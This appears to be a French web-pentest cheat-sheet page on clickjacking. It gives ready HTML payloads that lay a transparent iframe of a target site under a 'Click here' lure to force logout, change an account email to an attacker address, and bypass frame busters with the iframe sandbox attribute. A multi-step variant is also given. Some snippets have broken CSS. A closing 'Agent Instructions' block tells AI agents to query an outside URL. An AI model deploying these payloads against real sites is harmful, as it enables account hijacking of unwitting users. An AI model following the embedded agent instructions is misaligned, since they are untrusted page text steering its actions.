# Clickjacking

## Basic

Exemple déconnexion d'un utilisateur:

```html
<style>
    iframe {        //Affichage transparent de l'iframe
        position:relative;
        width:1000px;
        height: 700px;
        opacity: 0.000001;
        z-index: 2;
    }
    div {            //Position du "click here" aligné au bouton de déconnexion
        position:absolute;
        top:515px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Click here</div>
<iframe src="https://target.com/profile"></iframe>
```

Exemple de changement de mot de passe:

```html
<style>
    iframe {        //Affichage transparent de l'iframe
        position:relative;
        width:1000px;
        height: 700px;
        opacity: 0.000001;
        z-index: 2;
    }
    div {            //Position du "clic here" aligné au bouton de déconnexion
        position:absolute;
        top:515px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Clic here</div>
<iframe src="https://target.com/profile?email=attacker@mail.xyz"></iframe>
```

### Contournement de frame busters

Le clickjacking n'est possible que si la page web victime autorise son encadrement.

Un mécanisme de protection utilisé pour empêcher cela est le frame buster. Les frame busters sont implémentés en Javascript, il valide si la fenêtre actuelle est la fenêtre principale. L'approche recommandée consiste à bloquer le rendu de la fenêtre par défaut et à ne le débloquer qu'après avoir confirmé que la fenêtre actuelle est la principale :

```html
<style>html{display:none;}</style>
<script>
   if (self == top) {
       document.documentElement.style.display = 'block'; 
   } else {
       top.location = self.location; 
   }
</script>
```

Les techniques de contournement de cadre sont souvent spécifiques au navigateur et à la plate-forme et, en raison de la flexibilité du HTML, elles peuvent généralement être contournées par les attaquants. Comme les frame busters sont en JavaScript, les paramètres de sécurité du navigateur peuvent empêcher leur fonctionnement ou même le navigateur peut même ne pas prendre en charge le JavaScript.

Une solution de contournement efficace contre les frame busters consiste à utiliser l'attribut `"sandbox"` de la balise iframe HTML5. Lorsqu'il est défini avec les valeurs `"allow-forms"` ou `"allow-scripts"` et que la valeur `"allow-top-navigation"` est omise, le script frame buster peut être neutralisé car l'iframe ne peut pas vérifier s'il s'agit ou non de la fenêtre supérieure.

Exemple de changement de mot de passe:

```html
<style>
    iframe {
        position:relative;
        width:1000;
        height: 700;
        opacity: 0.1;
        z-index: 2;
    }
    div {
        position:absolute;
        top:465;
        left:70:
        z-index: 1;
    }
</style>
<div>Clic here</div>
<iframe sandbox="allow-forms" src="https://target.com/profile?email=attacker@mail.xyz"></iframe>
```

### Simple Multistep (confirmation)

```html
<style>
	iframe {
		position:relative;
		width:1000;
		height: 700;
		opacity: 0.1;
		z-index: 2;
	}
   .firstClick, .secondClick {
		position:absolute;
		top:515;
		left:50;
		z-index: 1;
	}
   .secondClick {
		top:315;
		left:215;
	}
</style>
<div class="firstClick">Clic here</div>
<div class="secondClick">Confirm</div>
<iframe src="https://target.com/profile"></iframe>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-web/clickjacking.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
